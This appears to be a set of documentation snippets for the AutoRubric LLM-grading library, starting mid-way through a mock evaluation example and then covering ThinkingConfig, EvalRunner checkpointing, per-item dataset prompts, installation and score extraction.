        score = 0.0
        if effective_rubric and effective_rubric.rubric:
            for cr in effective_rubric.rubric:
                if cr.name == "architecture_quality":
                    report_items.append(MockReportItem(cr, final_multi_choice_verdict=MockVerdict(selected_label="Good - Solid design")))
                    score += cr.weight * 0.7
                elif cr.name == "code_correctness":
                    report_items.append(MockReportItem(cr, final_verdict=MockVerdict("pass")))
                    score += cr.weight * 1.0
                else:
                    report_items.append(MockReportItem(cr, final_verdict=MockVerdict("pass")))
                    score += cr.weight * 1.0
            mock_item_results.append(MockItemResult(item, MockReport(report=report_items, score=score)))
        else:
            mock_item_results.append(MockItemResult(item, MockReport(score=None)))

    return MockResult(mock_item_results)


class LLMConfig:
    def __init__(self, model, temperature):
        self.model = model
        self.temperature = temperature

class CriterionGrader:
    def __init__(self, llm_config):
        self.llm_config = llm_config


async def main():
    # Create dataset
    dataset = create_coding_interview_dataset()
    print(f"Dataset: {dataset.name}")
    print(f"Total items: {len(dataset)}")

    # Show per-item rubric configuration
    print("\n" + "=" * 60)
    print("PER-ITEM RUBRIC CONFIGURATION")
    print("=" * 60)

    for idx, item in enumerate(dataset):
        effective_rubric = dataset.get_item_rubric(idx)
        reference = dataset.get_item_reference_submission(idx)

        print(f"\n[{idx}] {item.description}")
        print(f"    Custom rubric: {'Yes' if item.rubric else 'No (uses global)'}")
        print(f"    Criteria: {[c.name for c in effective_rubric.rubric]}")
        print(f"    Has reference: {'Yes' if reference else 'No'}")

    # Configure grader
    grader = CriterionGrader(
        llm_config=LLMConfig(model="openai/gpt-4.1-mini", temperature=0.0)
    )

    # Evaluate
    print("\n" + "=" * 60)
    print("EVALUATION RESULTS")
    print("=" * 60)

    result = await evaluate(dataset, grader, show_progress=True)

    for item_result in result.item_results:
        print(f"\n{item_result.item.description}")
        # report.score is `float | None` (None if that item's grade failed).
        score = item_result.report.score
        print(f"  Score: {score:.2f}" if score is not None else "  Score: n/a")
        print(f"  Criteria evaluated: {len(item_result.report.report or [])}")

        if item_result.report.report:
            for cr in item_result.report.report:
                if cr.final_verdict:
                    status = cr.final_verdict.value
                elif cr.final_multi_choice_verdict:
                    status = cr.final_multi_choice_verdict.selected_label or "?"
                else:
                    status = "?"
                print(f"    [{status}] {cr.criterion.name}")


if __name__ == "__main__":
    asyncio.run(main())

```

--------------------------------

### Get Reasoning Effort from ThinkingConfig

Source: https://autorubric.org/docs/api/llm

Determines the reasoning effort level based on the ThinkingConfig.

```python
from autorubric.llm import ThinkingConfig, ThinkingLevel

tc = ThinkingConfig(level=ThinkingLevel.NORMAL)
effort = tc.get_reasoning_effort()
print(f"Reasoning effort: {effort}")
```

--------------------------------

### Checkpointing and Resumption with EvalRunner

Source: https://autorubric.org/docs/api/eval-runner

Shows how to initialize EvalRunner for an evaluation, run it, and resume a potentially interrupted job. Results are saved to a specified directory and can be loaded later using EvalResult.

```python
from autorubric import EvalRunner, EvalConfig, EvalResult

# First run (may be interrupted)
config = EvalConfig(
    experiment_name="my-essay-eval",
    experiments_dir="./experiments",
    show_progress=True,
)
runner = EvalRunner(dataset=dataset, grader=grader, config=config)
result = await runner.run()
# Saves to: experiments/my-essay-eval/manifest.json + items.jsonl

# Resume after crash
runner = EvalRunner(dataset=dataset, grader=grader, config=config)
result = await runner.run()  # Skips already-completed items

# Load results later
result = EvalResult.from_experiment("experiments/my-essay-eval")

```

--------------------------------

### Get Effective Budget from ThinkingConfig

Source: https://autorubric.org/docs/api/llm

Calculates the effective token budget based on the ThinkingConfig settings.

```python
from autorubric.llm import ThinkingConfig, ThinkingLevel

tc = ThinkingConfig(level=ThinkingLevel.NORMAL, budget=1024)
budget = tc.get_effective_budget()
print(f"Effective budget: {budget}")
```

--------------------------------

### LLMConfig with Thinking Level

Source: https://autorubric.org/docs/api/llm

Shows how to enable 'thinking' in LLMConfig using a predefined thinking level.

```python
from autorubric.llm import LLMConfig, ThinkingLevel

config = LLMConfig(thinking_level=ThinkingLevel.NORMAL)
print(config)
```

--------------------------------

### Creating Dataset Items with Individual Prompts

Source: https://autorubric.org/docs/api/dataset

Demonstrates how to create DataItems with unique prompts and add them to a RubricDataset. Shows how a global prompt acts as a fallback when an item does not have its own prompt specified.

```python
# Create items with individual prompts
item1 = DataItem(
    submission="The answer is 42.",
    description="Math problem",
    prompt="Evaluate this answer to: What is 6 x 7?"
)

item2 = DataItem(
    submission="Analysis of Hamlet's soliloquy...",
    description="Literary analysis"
    # No prompt specified, will use global prompt
)

# Create dataset with optional global prompt
dataset = RubricDataset(
    prompt="Evaluate this response",  # Optional global prompt (fallback)
    rubric=rubric,
    items=[item1, item2],
)

# Get effective prompt for an item
prompt = dataset.get_item_prompt(0)  # Returns item1's prompt
prompt = dataset.get_item_prompt(1)  # Returns global prompt (item2 has none)

# Raises ValueError if neither item nor dataset has a prompt
try:
    prompt = dataset.get_item_prompt(0)
except ValueError:
    print("No prompt available for this item")

```

--------------------------------

### Install AutoRubric with uv

Source: https://autorubric.org/docs

Use this command to add AutoRubric to your project if you are using uv for package management.

```bash
uv add autorubric

```

--------------------------------

### Get Evaluation Reports

Source: https://autorubric.org/docs/api/eval-runner

Extracts reports from all successful evaluation results. Assumes results are stored in `self.item_results`.

```python
def get_reports(self) -> list[EvaluationReport | EnsembleEvaluationReport]:
    """Extract reports from all successful results."""
    return [r.report for r in self.item_results if r.error is None]
```

--------------------------------

### Get Scores from EvalResult

Source: https://autorubric.org/docs/api/eval-runner

Extracts scores from all successful evaluation results. Skips items with errors or no score.

```python
def get_scores(self) -> list[float]:
    """Extract scores from all successful results.

    A grade-FAILURE has no score (``report.score is None``); such results are
    skipped. This subsumes the item-level ``error`` filter and also drops a
    report-level error that carried no item-level error.
    """
    return [
        r.report.score
        for r in self.item_results
        if r.error is None and r.report.score is not None
    ]
```